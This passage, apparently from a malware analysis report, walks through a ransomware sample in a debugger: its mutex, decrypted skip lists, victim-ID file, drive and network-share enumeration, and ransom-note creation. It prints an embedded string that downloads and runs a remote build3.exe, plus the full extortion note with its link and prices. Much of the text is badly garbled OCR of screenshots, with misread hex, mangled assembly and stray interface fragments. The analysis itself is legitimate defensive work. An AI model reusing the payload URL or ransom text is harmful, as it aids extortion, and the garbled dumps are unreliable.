02CBAOBO| 35 45 51 58(35 42 56 43(6A 5C 2F 61|30 31 65 42
02CBAOCO| 66 4F 6C 4C|70 31 43 5C|2F 64 55 S50(4B 70 72 52
02CBAODO | 49 76 54 52|52 59 6E 6A|74 6B 43 4E (35 75 42 30
02CBAOEO| 6E 62 39 6D (5C 2F 00 BA|OD FO AD BA|(OD FO AD BA
Address | Hex
02CDG9A0 | 4F 47 59 32|52 37 64 G3[SA 6B 42 46|45 5C 5C GE
02CDG9B0| 46 6F 59 64|48 6F 6C 71|78 31 44 7A|6F GE 4E 6F
02CD6E9CO| 47 52 66 39|46 48 31 32|36 4B 39 44|6A BE S5C 2F
D2CDG9D0| 48 4A 45 31(6C 75 4F 45 (4B 56 53 35|37 79 50 43
D2CDG9EOQ |57 44 4C 34|4E 66 32 63|31 54 56 47|68 44 4C 6C
D2CD69F0| 37 5C 5C GE|32 4E 6D 44|47 64 6D 42|42 54 6C 63
02CD6ADO | 39 32 6A 53 |EC CA 4B 70|73 4B 71 49|6B 2B 2B 78
02CDBA10 (73 64 47 76|36 57 30 35|75 4D 61 71(4D 45 61 53
02CD6AZ0 (62 57 34 GF|6F 72 72 75|66 4F 6E 65|78 38 7A 79
02CD6AZ0 (78 58 49 41 |5C 5C 00 BA|OD FO AD BAIOD FO AD BA
Address | Hex
D2CDOE48|6E 46 6C T4(61 63 4A 43[6F 63 32 41[32 74 62 6C
02CDOE58|37 &5 72 GC|2F 4E 32 73|70 37 JO FO(65 61 66 43
02CDOEGB| 65 39 59 54(5C 2F 54 49(59 50 6F 73|66 67 56 54
02CDOE78|33 46 75 46|55 51 56 69|6D 4C 46 6F (78 79 74 50
02CDOEBB| 65 4F 76 5C|5C 6E 6F 7A|41 65 4C FO(54 79 79 75
02CDOESB8|6D 51 55 66|67 30 57 59(32 63 43 2B|(74 75 6D 2B
02CDOEAB| 39 58 5C 2F(53 2B 5C 2F (|32 45 44 32(69 61 52 35
02CDOEBS |35 4E 6E 49|33 79 65 4C|56 35 41 43 (g2 3¢ &D 7]
02CDOECB |56 49 42 73(4E 55 €C 71(5C 5C 6E GEB|(51 49 44 41
02CDOEDSB |51 41 42 S5C(5C &6E 00 BA[OD FO AD BA[OD FO AD BA
Address | Hex
02D2FE28 |20 2D 2D 2D (2D 45 4E 44|20 50 55 42(4C 49 43 20
02D2FE38| 4B 45 59 2D(2D 2D 2D 2D |00 32 2E 65|78 65 24 72
02D2FE48|75 6E 20 68|74 74 70 3A|2F 2F 73 65(63 75 72 &5
02D2FE58|62 69 FA 2E|(6F 72 &7 2F|66 69 6C 65 (73 2F 31 ZF
02D2FEG8| 62 75 69 6C|64 33 2F £S5 |78 65 24 72(75 GE 00 72
Address | Hex
02D10478| 75 46 48 77(4E 37 62 GA|77 43 6B 4A[45 65 55 67
02D10488| 38 4A 48 49|53 7A 4C 71|72 77 75 64|69 64 48 38
02D10498 |58 73 50 7A|48 44 74 31|00 2F 73 65|63 75 72 &5
02D104AB| 62 69 FA 2E|(6F 72 &7 2F|66 69 6C 65 (73 2ZF 31 ZF
02D104B8162 75 69 6CI64 33 2E 65178 65 24 72I75 6E 00 72

Figure 87

BIjANBgkghlkiGowo
BAQEFAAOCAQSAMIT
BCOKCAQEAUSTEFI1g
btLAHOX1EyO7a\n
SEQX5BVC]Y /anleB
folLpich /dUPKprR
IVTRRYNJtKCNSUBD
nismh/.c.6.2.8.°
ASCII
GGY2R7dcZkBFEY NN
FoydHolgx1DzonNo
GRTIFH126K9DjnY /
HIELTUDEKWSE 7yPC
WoOL4NT2c1TVGhDL1
75 \N2NmMDGAmBBT1¢
92j51ZKpsKqQIk++x
sdGvEWOSuMagMEas
bw4oorrufOnexszy
XATANY o Do b oo
ASCII
AFl1taclCoc2A2tbl
7Ury /N2sp7ppeafC
eaY T,/ TIYPOSTOWT
IFUFUQVImMLFoxXyTP
el nozAel pTywu
mQUTgOWY2cC+Ttum+
9x' /5+% /2ED27 @RS
SNNI3yelVvsAChsmq
uIBshu1q\\nkQIDA
QABY\N.*.B.°. 5.
ASCII

————— END PUBLIC
. 2. exesr
un http://secure
biz.org/files/1/
build3. exesrun. r
ASCII
UFHwN7 B jwClkI1EelUg
SIHISzLrwudidHs
XSPZHDT1. /secure
biz.org/files/1/
build3.exesrun.r

0B6&9A21C | 00260020
0BE&2AZ220 | 00000000
OBEG&2AZZ4 | DBGIFBCC
0B69AZZS [0016EESD
0B62A22C || 00000010
OBE2AZZ0 || 00LGEE20
OBEE2AZZ4 || 00LGEEZ0
OBG&9AZ3B || 00263270
0BE&2AZZC || 00000000
0BE2AZ40 || 00010000

necaa?aa I e

We continue to analyze the main thread. A mutex called “{1D6FC66E-D1F3-422C-8A53-

COBBCF3D900DY}” is created via a function call to CreateMutexA:
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push wininet_dump.2543F8 2543F8: XB7S5W_C1 0 xB7SW CO O XxB7SW ES O
‘ push | XBTSW_SF O XB7SW_P O X87SW.U O
il o o
I =En11 Jdword ptr ds:[<acreatemutexA-] | w
i 5 | Defaut (stdcal) > |5 1%|[] uniock
'1: [esp] 00000000 o
[dword ptr [0D021C130 <wininet_dump.&CreateMUTexA> =<kernel32,CreateMuteni> 2: p+4] D0OOODDOD
3: [esp+8] 002543F8 {105FC665 DlFS 422€-BA53-C
| - Text: 00164849 wininet_dump. exe: $148A9 #1ABA9 I"‘.' esu+c e et U AL S ypo i
Woumo1  @Mpup2  EHDump3  EHDumpd  EMoumps @ watchi  Ieellocals Y stuct OOAFES10 | 00000000
[t TARETT | . | DOAFEE14| 002543F8 | " {1D6FCEEE-D1F3-422C-8A53-COBBCF3DI000}"
Figure 88
The malware decrypts the ransom note using the XOR operator:
80 34 01 BO xor bvte ptr ds:[ecx+eax],80
40 inc eax
3D 97 00 00 OO0 cmp eax, 37
~ FC EF 31 wininet_dump. 15EFCO
42 inc edx .
>
edx=0
.text:0015EFDL wininet_dump.exe: $EFD1 #EFD1
&% Dump 1 @% Dump 2 2y Dump 3 B2 Dump 4 @Y Dump 5 % Watch 1 Ix=] Locals & Struct 00 AFC
Address | Hex ASCII A i
02CD3468 (41 54 54 45 |4E 54 49 4F |4E 21 0D OA|(OD 0A 44 6F | ATTENTION!....DO
02CD3478|6E 27 74 20|77 6F 72 72|79 2C 20 79|6F 75 20 63| n"t worry, you C

02CD3488| 61 6E 20 72|65 74 75 72|6E 20 61 6C|(6C 20 79 &F|an return all yo
02CD3498 |75 72 20 66|69 6C 65 73|21 0D 0A 41|6C 6C 20 79 |ur Tiles!..All ¥
02CD34A8 | 6F 75 72 20|66 69 6C 65|73 20 6C 69(GB €% 20 70|our Tiles Tike p
02CD34B8 | §2 €3 74 7S |72 65 73 2C |20 64 §l 74|61 62 61 73|ictures, databas
02CD34C8|65 73 2C 20|64 6F ©3 75 (gD 5 GE 74|73 20 61 GE|es, documents an
02CD34D8 | g4 20 GF 74|68 65 72 20|69 6D 70 6F|72 74 61 6E|d Dther’ importan

1
Tmammama 22000

02CD34E8(74 20 61 72|65 20 IE-S GE |83 72 79 70|74 65 64 20|t are encrypted
02CD34F8(77 69 74 ES 20 73 00 BA|(OD FO AD BA|OD FO AD BA|(with s.°.B.°.D.°
Figure 89

The following information is also decrypted (a list of files to be skipped, a list of extensions to
be skipped, and a list of directories to be skipped):

e ntuser.dat, ntuser.dat.LOG1, ntuser.dat.LOG2, ntuser.pol

e .sys, .ini, .DLL, .dll, .blf, .bat, .Ink, .regtrans-ms

o C:\SystemlID\, C:\Users\Default User\, C:\Users\Public\, C:\Users\All Users\,
C:\Users\Default\, C:\Documents and Settings\, C:\ProgramData\, C:\Recovery\,
C:\System Volume Information\, C:\Users\%username%\A”ppData\Roaming\,
C:\Users\%username%\AppData\Local\, C:\Windows\, C:\PerfLogs)\,
C:\ProgramData\Microsoft\, C:\ProgramData\Package Cache\, C:\Users\Public\,
C:\$Recycle.Bin\, C:\$WINDOWS.~BT\, C:\dell\, C:\Intel\, C:\MSOCache\, C:\Program
Files\, C:\Program Files (x86)\, C:\Games\, C:\Windows.old\

o D:\Users\%username%\AppData\Roaming\, D:\Users\%username%\AppData\Local\,
D:\Windows)\, D:\PerfLogs\, D:\ProgramData\Desktop\, D:\ProgramData\Microsoft\,
D:\ProgramData\Package Cache\, D:\Users\Public\, D:\$Recycle.Bin\,
D:\$WINDOWS.~BT\, D:\dell\, D:\Intel\, D:\MSOCache\, D:\Program Files\, D:\Program
Files (x86)\, D:\Games\

o E:\Users\%username%\AppData\Roaming\, E:\\Users\%username%\AppData\Local\,
E:\Windows\, E:\PerfLogs\, E:\ProgramData\Desktop\, E:\ProgramData\Microsoft),
E:\ProgramData\Package Cache\, E:\Users\Public\, E:\\$Recycle.Bin\,
E\SWINDOWS.~BT\, E:\dell\, E:\Intel\, E:\MSOCache\, E:\Program Files\, E:\Program
Files (x86)\, E:\Games\

o F:\Users\%username%\AppData\Roaming\, F:\Users\%username%\AppData\Local\,
F:\Windows\, F:\PerfLogs\, F:\ProgramData\Desktop\, F:\ProgramData\Microsoft\,
F:\Users\Public\, F:\$Recycle.Bin\, F\$WINDOWS.~BT\, F:\dell\, F:\Intel\
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The executable retrieves the user name associated with the current thread by calling the
GetUserNameW API:

- S0 push eax XEB7SW_C1 O XxB875W.CO O XB75W_ES O
. 84 24 EC 01 00 0O lea eax,dword ptr ss:fesp+1ecl NB7TSW_SF 0 XBTSW_P 0 Xx875wW_U (1]
Nk sax RS e
Eg— h& dword ptr ds:[<4GetuserNamew>] w [ =
I T B R S SE S © 5 | Default (stdeal) » |5 &0 unlock

L3
/2: Tesp+ra] ooAFEsT4

3: [esp+8] 00174141 <wininet_dump.EntryPoint>
4: [esp+C]_00DD0DD0OA

. Text:0016B1BA wininet_dump.exe: $1B1BA #1B1BA

Wouwmp1  Poump2  @HDump3  Woump4  UMDumps @ watch1  [e=llocals 4 Struct m -wﬁi.yiil
Figure 90

The malicious process is looking for a file called “PersonallD.txt” that doesn’t exist at this
time:

63 CO FE 24 00 push wininet_dump.24FECO
68 88 FE 24 00 push wi ""‘E'

( XB7SW_C1 0 X87SW_CO O XB87SW_ES O©
( 24FESS 24FE8S: X87SW_SF O XB7SW_F O X87SW_U O
T C6 4t FC OL mov byte ptr ebp- 4, 1 e a L ammeim a cmmemein i
E8 53 48 01 00 W unninet r.lwnn 1:'0an fopen |- —
T FFofinnn > | Default (stdcal) ~[5_[&1[Junioc
1: [esp] D024FESS L"C:\\SystemID\\Personalld.tx
o 2: [esp+4] O0D24FECO wininet_dump.0024FECO
3: [esp+8] 02012068
4: O0AFEST "DB37D43047E4C”
-Text:0015C785 wininet_dump.exe: $C785 #C78S :%

@hoump1  @oump2 @MDump3  WDump4  WDumps @ watch1  [velLocaks 3 struct

F@.@ | Aserr | ~||':
0024FECO | ##] 00 00 00|77 00 00 00|0A OO0 00 O0]|0A OO0 00 DO | FosoWereraronssn | %
Figure 91

CreateDirectoryW is utilized to create a directory called “C:\SystemID”:

o XBTSW_SF 0 XB7SW_P O XB7SW.V O
24FETO:

3 ¥ | Default fstdcal) =[5 2] unleck
saTeD i ectoryws J=<kes 32, 1 Fectoryws 2: Fes:}ﬁ 00000000% Ra—
3: [esp+8] 02D12D68

.TeXT:0015C94B wininet_dump. exe: $C948 #C948 e e e s
o | O02Z4FETO LVC: ¥

Woump1  Dump2  Dump3  $oump4  houmps @ watch1  Ix-llecal ¢ Struct mm] ST

Figure 92

The ransomware creates the file “C:\SystemID\PersonallD.txt” and writes the victim ID to it:

OOAFESTS | &L DE 3 ?D 13047E4C

Asenanan | s larusas dar | Am lariean Asw 1n

€A 00 push o

68 70 Fi 4 00 ush wininet_dump. 24FE7
FF. l_.bgﬁi é sl'__i_ on & dword ptr ds: la.l:reatu}wecturw]

56 push esi 5 = 3 XBTSW_SF O xB7SW_I P 0 x87swW_u 0

Y aish_saz L

ES 10 5F 01 00 wininet_dump. 1728FD PUTWS
¥ = = 5 focu o T v
Wi i net_dump, 001728FD. 1t [espl

esp+8] 02012068
esp+C] ODAFESTS &L"DB37D43047E4C"

EOOS
EL'-FN‘ 0025A060 wininet_dump.0025A060

.text:D015C9EB wininet_dump. exe: SCIEE #CIES =

Woump1  Poump2  @4oump3  @oump4  @oumps @ watch1  b-llocals ) Stuct ot s P RS

Figure 93 |

It's very uncommon that the malware searches the system for a file called
“1\5d2860c89d774.jpg” (0xCO000000 = GENERIC_READ | GENERIC_WRITE, 0x1 =
FILE_SHARE_READ, 0x3 = OPEN_EXISTING and 0x80 = FILE_ATTRIBUTE_NORMAL):

€A 00 push 0 x87Tagword FFEF
gi gg v B °ﬁ:ﬁ B X87TW_0 3 (Empty) XB7TW_1 3 (Empty)
o gum X87TW_2 3 (Empty) X87TW_3 3 (Empty)
64 01 SaEh xB7TW_4 3 (Empty) xB7TW_5 3 (Empty)
&8 00 00 00 CO push C0000D000 X87TW_6 3 (Empty) x87TW_7 3 (Empty)
88 F9 mov edi,ecx
89 5D %0 mov dword ptr ss:[ebp-70f,ebx [ebp-7C x§75tatusword 0000
53 push ebx ebx:L"1 XB7SW. B 0 XB7SW_C3 O XB7SWC2 O
89 7D DC mov dword ptr ss:febp-24 em XBTSW_C1 O xB7SW._CO O XxB7SW_ES O
€7 45 BC 00 00 00 0O mov dword ptr sc:febp 73 XB7SW_SF O XxB7SW_P O XB7SW.U O
€7 45 FC 00 00 00 00 mov_dword ptr ss:fenp-<J,0 e
| FF 15 DC €O 23 00 call dword ptr us.[w:rutesﬂml | v
=== g g Default {stdcall)
1: [esp] DD2543A8 L"

2: [esp+4] CODO0OOD

3: [esp+8] 00000001

4: [esp+(] 00000000

-TEXT:0016120F wininet_dump.exe: $1120F #1120F

Woump1  pump2 W@Dump3  WlDump4  @Woumps @ watchi  Ie-liocal 4 Stuct

— s EE FE
D2CCE018 | EE FE EE FE|EE FE EE FE |EE FE EE FE
UZCCE\RS EE FE EF_ FE EE FE EE FF_|EE FE EE FE

Figure 94

EE FE EE FE K
EE FE EE FE|1p
EE FE EE
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LoadCursorW is used to load the standard arrow resource from the executable (Ox7F00 =
IDC_ARROW):

& 68 00 7F 00 00 h 7F00 S AT S e s A e
- : S oo AR X87TW_4 3 (EmpTy) X87TW 5 3 (Empty)
. C7 45 DO 30 0O 00 00 mov dword ptr ss: 30: '0° X87TW_6 3 (Empty) x87TW_7 3 (Empty)
L] C7 45 D4 03 00 00 0O mov dword ptr
. €7 45 D5 EO BA 16 00 mov dword ptr s, wininet_dump. 168AEC x87Statusword 0000
L] C7 45 DC 00 00 OO0 0O mov dword ptr ,J MB7SW_B 0O xB7SW _C3 0O xB7SW_C2 O
. €7 45 EO 00 00 00 00 mov dword ptr o, XB7SW_C1 0 X875W_CO O XB7SW_ES 0O
- B9 4D E4 mov dword ptr H : ,ecn XB7SW_SF 0 xB7SW_P 0 x875W_U (1]
. C7 45 E8 00 00 00 00 mov_dword ptr ss
B FF 15 68 €3 21 00 call dword ptr dsrkal.om:ursurm] | | ————— ST
. = D?hﬂﬁrmﬂ w5 |81 uniock
|dword ptr [0021C36! jump. &LoadCur sorw>]=<user32. LoadCursorn: 2: [esp+4] 00007700
3: [esp+s] oooooo3o
4: [esp+C] 00000003
. TEXT:D016BA4A wininet_dump. exe: S1BA4A #1BASA I = e a e —— &
¥ 00000000
@Wowo1 @hoump2  @hoump3  Dump4  @MDumps @ watch1  elleals ) Stuct o he e

Figure 95
The binary registers a window class using the RegisterClassExW routine:

xB7Statusword 0000

. 6| 50 push eax

. C7 45 FD 06 00 OO 00 mov dword ptr ss:febp-100,6 XBTSW_B O xBTSW.C3 O xB7SW.C2 O

. €7 45 F4 00 00 00 00 mov dword ptr ss:febp-cf,0 XB7SW_C1 0 XB7SW_ LD O XB7SW_ES O

. €7 45 F5 E4 3E 25 00 mov dword ptr e:uu 8 Arininet dump. 253EE4 [word ¢ XBTSW_SF O XB7SW_P 0O XB7SW_U O

. C7 45 FC 00 00 00 00 mov dword ptr ss: e G . . -~
| FF 15 74 €3 21 00 call dword ptr ﬂsl{c&keoisterc'lasszl»] ] v L ] —_— -

. o | Defat fstdcal) v |5 21 unlock

%
dword ptr [0021C374 <wininet_dump.dRegisterclassExw>]=<user32,Registerc1assexns TR T ST
3: [esp+s8] 00000003

i esp+C] O0D1GBAED wininet_dump.O016BAED

. Text:0016BAT3 wininet_dump.exe: $1BAT3 #1BA73

Woump1  @MDump2  WDump3  @MDump4  @Dumps B watch1  Ieellocals ) Stuct
Address

O0OAFE4ED 00 00 00 00 00

DOAFE4FO| 00 0O 00 00|28 0 15 00|56 60 50
ODAFES0D |06 OO0 OO0 00|00 00 OO0 OD

Figure 96
CreateWindowExW is utilized to create a new window called “LPCWSTRszTitle” (OxCF0000
= WS_OVERLAPPEDWINDOW and 0x80000000 = CW_USEDEFAULT):

3
wininet_dump. 0016BAED
0

mAndmar Aime AR EARAN

- ;: push esi esiz&l ¥87r7 00000000000000000000 ST7 EmpTy O.00000000
. oo push ¢
- 51 push ecx NB87Tagword FFFF
: g: :J:E pu: sn g XBTTW_O 3 (Empty) XB7TW_1 3 (Empty)
. sl i X87TW_2 3 (Empty) X87TW_3 3 (Empty)
. 68 00 00 OO 8O sush & XB7TW_4 3 (Empty) xB87TTW_5 3 (Empty)
p EA 00 push X87TW_6 3 (EmpTy) x87TW_7 3 (Empry)
. €8 00 00 00 BO
. €8 00 00 CF 00 x87statusword 0000
. €8 C4 3E 25 0O 253EC4: XETSW_B O XB87SW.C3 0O X87SWLC2 ©
. 68 E4 3E 25 0O 253EE4: X87SW_C1 0 x87SW_CO O X87SW_ES O
L] E-\ 00 XB7SW_SF O XB7SW_P O NB7SW_U O
. 00 44 32 26 00 mov :hmrd ptr ds: [263244] ,ecx L —
Eg— FF 45 B4 C3 2100 call dword prr ds: [<aCreatewindowexw>] | v — -
= e | et el '|:=_|j ;
1 Een! 00000000
ptr 364 .&Creat X er32.Creat X 2: [esp+4] DO253EE4 L"LPCWSTRszWindowClass”
3: [esp+8] O0253EC4 L"LPCWSTRSZTitle"
s 4: [espsc] oocFoooo
+TEXT:0016BAAD wininet_dump. exe: S1BAAD #1BAAD I_'p—':
Whoup2  @Dump3  WhDump4  @MDumps @ watch1  bellocals 4 Struct A D0253EE4 | L"LPCWSTRSZWI ndowc 1ass”
S AsCIT ~ || DOAFE4ES D0253EC4 | L“LPCWSTRSZTitle"
00253EE4 46| 00 50 00|43 00 57 00|53 00 54 00(52 00 73 00|L.P.C.W.5.T.R.5. nwwmm :g'fmFm
00253EF4|7A 00 57 00|63 00 6E 00|64 00 6F 00|77 00 43 00| z.W.i.m.d.0.w.C. OBALE e 4 oot
00253F04 | 6C 00 61 00 73 0000 00 00 00[2D 00 2D 00|1.2.5.5.....—s—x DOAFE4F& | 50000000
00253F14| 41 00 64 00 69 00 |6E 0D DO 00(43 00 73 polA.d.m.i.m...1.5 OOAFEAFC | 00000000
00253F24 |41 00 75 00 &F 00(53 00 74 00| 0 7 A.U.T.0.5.T.4 DOAFES00 | 00000000
00253F34 |74 00 0O Z 54 00 61 00|73 00 6B t s DOAFEE04 | DOGCDO0D
00253F44 |00 00 0O 2D 00 2D D0|46 00 6F 00|72 0O 4E v . : -
00253F54| 65 00 74 00 §5 00|73 00 00 00{2D 00 20 00|e = e ek e A e i

Figure 97
The window created earlier is hided by calling the ShowWindow routine (0x0 = SW_HIDE):

XB7SW_SF O XB7SW_P 1 XB87SW_U o

6A 00 push 0 |
56 push esi
lm dword ptr ds:[<&Showwindow=]

s |Defaut (stican »|[s 13100 unlock
1: [esp
21 Lesp+4 00000000
3: [esp+8] ODAFES7E &L"DB37D4304TE4C"
4 i
.TeXT:0D168ABE wininer_dump. exe: S1BABE #1BABE T
Wouol  hbup2 Whbump3  WNoumps  Woumps @ wawhi  bellocas 2 stuct ODAFES0C mc;

Figure 98
We need to analyze the window procedure defined in figure 96 (sub_16BAEO).

The malware uses the ntdlIDefWindowProcW API in order to call the default window
procedure whenever a particular message needs to be processed (0x24 =
WM_GETMINMAXINFO, 0x81 = WM_NCCREATE, 0x83 = WM_NCCALCSIZE and 0x1 =
WM_CREATE):
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e

.
.
L]
.
L]

00168880 FF 75 14 push dword ptr ss:febp+14 xB7SW_B O XB7SW.C3 0 XB7SWC2 O
00168883 FF 75 10 push dword ptr ss:febp+ic XB7SW_C1 O xB7SW.CO © xB7SW_ES O
00168286 51 push ecx XB7SW_SF 0 xB7SW_P 1 xB7SW.U O
0016B887 push dword ptr ss: ebpfﬂ P —
8 vord p 1 TDefwindowPr
. ~ 1[5 3]0 urc

«Text:0016BBEBA wininet_dump.exe: $1BBBA #1BBBA

Yhoump!  EYDump2  @WDump3  WhDump4  WDumps @ wawhi  [eliocals ) Struct

iessg0[ " "EF 75 14 nt R ORE TDuUsh dword prrss:ffebp-1 XB7SW_B 0 XB7SW.C3 0 XB7TSW.C2
push dword ptr ss:febpsi XB7SW_C1 O xB7SW.CO O xB7SW_ES
push ecx XBTSW_SF O X875W_P 1 XB7SW_U
BE7 : push dword ptr ss: eb:h—a‘ | oz o :
B Gk - CLCRGEEY e W ol
N e SNSRI, <l d ey
2] 00000000

- text:D016BBBA wininet_dump.exe: S1BEBA #1BBBA

PWoump1  @omp2z @Woump3  @Woumps  PDumps

Q\\Mﬂ'll

*# | 00168880 push dword ptr ss:febp+i4] X87SW_B O xB7SW_C3 O x87SW _C2
00168883 push dword ptr ss:febp+1 xB7SW_C1 0 XB7SW_CO O XB7SW_ES O
00168886 push ecx 1 XB7TSW_U o
00 i push dword p

* [5 2] uoc

.TexXT:0016BBBA wininet_dump.exe: $186BA #1B8BA

@Woup!l  @oump2  $Hoump3  ULoump4  ENDumps P watchi1

I=jLocals 4 Struct

‘push dword ptr ss:febpel 2 xB7SW_B xB7SH_C3 xB7TSW_C2
push dword ptr ss:febp+i NBTSW.C1 O xBTSW.CO O XxB87S5W_ES O
ng ecx s XBTSW_SF O XB7SW_P 1 X87SW_U O

. Text:0016BBBA wininet_dump.exe: $1BBBA #1BBBA

@oump1  YHoump2  $HDump3 S oump4

Figure 99
GetLogicalDrives is used to retrieve a bitmask that represents the available disk drives:

|Eg—s

Figure 100
The ransomware forces the system not to display the critical-error message box and sending
these errors to the calling process (0x1 = SEM_FAILCRITICALERRORS):

<aGetLogicalDri

esp+4] 02012068
esp+8] DOAFESTS
esp+C] 02CD4B10 &"ntuser.dat|ntuser.dat.LOG

< TEXT:D0160AEZ Wininet_dump. exe: S10AEZ #10DAE2

[ st

Figure 101
The file extracts the type of the drives by calling the GetDriveTypeA API and compares it with
2 (DRIVE_REMOVABLE), 3 (DRIVE_FIXED), 4 (DRIVE_REMOTE) and 6
(DRIVE_RAMDISK):

o = - - - =

-text: 00160818 wininet_dump.exe: $10B1E #10B1B

iy — 1 S s e Sl s e il s e @ b

sarmnske 4 PR
.text:@016e6816 call ds:GetDriveTypea
.text:@9168621 cmp eax, 2

-text:00168824 jb short loc_168B88

L*T

Jtext: 00168826 cmp eax, 4
Ltext:@@168829 jbe short loc_;

-text: 90168628 cmp eax, 6
|.text:05160ﬁ2l‘_ jnz short loc_168B8B
Figure 102

Two new threads are created using the CreateThread function:
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DOUL6FALE push esi

OD16FALT push 0

DO1G6FALS push dword ptr ss:[febp+aj
c push wininet_dump.16F130

xB7sratusword 0020

XB7SW_B O xBTSWC3 0 xB7SWCZ O
XB7SW_C1 0 XB87TSW.CO O XxB7SW_ES O
xB7SW_SF 0 xB7SW P 1 xE7SW U O

< Text:0016FA2S wininet_dump. exe: $1IFAZS #1FA2S R

Woump1  @oump2z @0ump3  @oumps  Woumps

Flgure 103

0016FDCE push wininet_dump.279230

0016FDCE pus|

DO16FDCA push dword ptr ss:febp+al
0016FDCD push wininet_dump.16FD80

0OLEFDD2 push 0
0016FDD4

x875tatusword 0020

XB7SW_B O xB7SW.C3 0 xB7SW.C2 O
XB7SW_C1 O xB7SW_CO O xB7SW_ES O
[ K!?MF 0 XB7SW_P 1 XB7SW_U o

= |[5 [#][] unlock

<&CreateThr:

00
0016FDS0 wininet_dump. 0016FDSO
7 n . 7
.text:D016FDDE wininet_dump.exe: S1FDDE #1FDDE STORFdEId: Nt ettt D02 752 26

@oup1  oump2 @oump3  PYDump 4

Woumps A watcht  bellocals 4 struct

00279238 (04| 03 BO 00|00 00 00 0O(00 OO0 00 0000 00 00 O00|@."..iceenansnan

0027924800 00 00 00|00 00 OO0 00|00 00 00 00|00 00 OO 00| ..cuvssrnananssn

Figure 104

The file retrieves a message from the message queue by calling the GetMessageW routine,
translates virtual-key messages into character messages using TranslateMessage, and
finally dispatches a message to a window procedure using DispatchMessageW:

o|| no18B4AC push o xB7SW_B O XBFSW.C3I 0 XB7SWC2 O

o no16B4AE push 0 HE7SW_C1 0 XBYSW.CO 0 xB7SW_ES O

o|[ 00188480 push 0 XB7SW_SF O XB7SW_P 1 XB7SW.U O

ol 00168482 push eax :

- &

. ;'.l.;;-.'.-;-:;.-. T ][T ZhE =3 = s ¥ Dl.ﬂud

. Text: 00168483 wininet_dump. exe: S1B483 #1B4B3

$oump2  @loump3  oump4

¥ Dump 5

Flgure 105
Thread activity — sub_16FD80

The malware enumerates all resources on the network via a function call to
WNetOpenEnumW (0x2 = RESOURCE_GLOBALNET):

XE/IW_® 5 (EMPTY) X8/IW_/ 3§ (EMPTY)

x875tatusword 0000

X87SW_B O xB7SW_C3 O x87SW_C2 O

XB7SW CL O xB7SW CO O xB7SW_ES O
XBTSW_SF D xB7SW_P 0 x87SW U O

.TEXT:00160C12 wininet_dump.exe: $10C12 #10C12

“Woump2 Moump3  @houmps  houmps @ watch1

|x=| Locals. ﬁ»'sm:r

D0 Eececnnnnnnnnnna
An

Flgure 106
WNetEnumResourceW is utilized to further enumerate the network resources:
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00160C58 50 push eax ; 4 x87Statusword 0000

DO0LE0C5 S 53 push ebx XB7SW_B 0 XBYSW.C3 0 xB7SW L2 O
DOLE0CSA BD 44 24 1C Tea eax,dword ptr ss:fespricl NBTSW_C1 O XBFSW.CO O XB7SW_ES O
O0160CSE 50 XB7SW_SF O XB7SW_P O xB75W.U O
DO01E0CSF FF 74 24 24 . D 1 P S ——

“[esp+4] D57AFT34
esp+8] D2D55578
. TEXT: 00160C63 wininet_dump. exe: $10C63 #10C63 EBiGI 2

Woup 1  @oump2 @Woump3  @Woump4  Boumps

O020555E8|00 00 00 0O

Figure 107
The message DBT_DEVICEREMOVECOMPLETE (“A device or piece of media has been
removed”) is sent to the window created earlier, and its procedure will handle it:

wBFStatusword 0000

XBTSW_B O xBFSW.L3 O xB7SW.C2 O
XB7SW CL 0 xB7SW CO 0 xB7SW ES O
0 xB7SW.U O

DO16FDSS 6A 0O

6A 00
&8 04 B0 00 0O
6

push 8004
push dword ptr ds:[esi
mov_byte ptr ds:[es

i e G asehn conpuan “Is ] ks

. TexT: 0016FDAS wininet_dump.exe: $1FDA4 #1FDA4
WWoump2  oump3 BN Dump 4

Figure 108
When the window procedure receives the message, it calls the GetComputerNameW API in

order to get the NetBIOS name of the local machine:

push eax XB7SW_SF O XB7TSW_P 1 XxB7SW.U O
push G‘ —— =

DOL6BBF2
001688F3

— DOAFDIT4
esp+8] D01EBAED wininet_dump.0016BAED
esp+C] 00800304

. TexT:001688F4 wininet_dump. exe: §1BBF4 #1BBF4
Woump1  §Mpump2 @Hoump3  EUDump4  Eloumps @ watch1  Pellocaks ) Stuct

Figure 109
Thread activity — sub_16F130

The ransomware creates the ransom note called “_readme.ixt” in every directory that it
encrypts:

s g
XB7TW_0 3 (Empty) xB87TW_1 3 (Empty)
XBTTW_2 3 (Empty) X87Th_3 3 (Empty)
XB7TW_4 3 (Empty) XB7TW_5 3 (Empty)
X87TW_6 3 (Empty) xB7TW_7 3 (Empty)

xB875tatusword 0000

XB7SW_B O XB7SW.C3 O XB7SWC2Z O

X875W_C1 0 XB7SW.CO O XxB875W_ES 0O
XB7SW_SF 0 XB7SW_P O XB7SW.U O

D015F 100 BA

00

68 80 00 00 00

6A 02

6A 00

€7 45 FC 00 00 OO 00
o8

push o
mov dword ptr ss:febp-4f,0

Tea eax,dword ptr ss:ltbﬁ—a]
cmp dword ptr ss:febp+icl,

push 2

cmovae eax,dword ptr ss:febp+s]
push 40000000

[ebp+8]

[ebp+8]

68 00 00 00 40
50

. TExXT:0015F125 wininet_dump.exe: §F125 #F12S .

Wowmp1  @owmpz @ oump3

02056040 | 20
02D5E0BO0 | L0 J0 J0 ) SE L0 To L0
02DS60CD| 70700 4D 008100 §9 00|72 00 60 00|61 00 69 00|p.8.a
nane er an se anles nn g3 nnlon an ax anlan an as nn -

Figure 110
The ransom note is populated by calling the WriteFile function, as shown in figure 111:
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S0 | push eax
56 { push esi

I:%.;jnﬂl'w HEi[<awriteriles]

XB7SW_C1 0O xB7SW _CO O xB7SW_ES O
XBTSW_SF O NBTSW_P O x875W_U o

e “tmdd__ ) - |:|
: es=ﬂ] 0205FC38

esp+8] 00000456
esp+C] O56AFADD

WWoump1  hDump2  WhDump3  WDumps  Woumps @ watchi  fe-llocks i Stuct

00 OA 44 6F | ATTENTION!....DO
6F 75 20 63|n"t worry, you <
6C 20 79 &F|an return all yo
6C 6C 20 79|ur Tilest..All y
BB 65 20 70 |our files like p

An example of a ransom note is highlighted below:

& _readme.txt [31
I ATTENTION!

Don't wWorry, you can return all your files!

211 your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.
The only method of recovering files is to purchase decrypt tool and unigque key for you.
This software will decrypt all your encrypted files.

What guarantees you have?

You can send one of your encrypted file from your PC and we decrypt it for free.

But we can decrypt only 1 file for free. File must not contain valuable information.
You can get and look video overview decrypt tool:

htrps://we.tl/c-1JwFK5rT39

Price of private key and decrypt software is $980.

Discount 50% available if you contact us first 72 hours, that's price for you is 5$490.
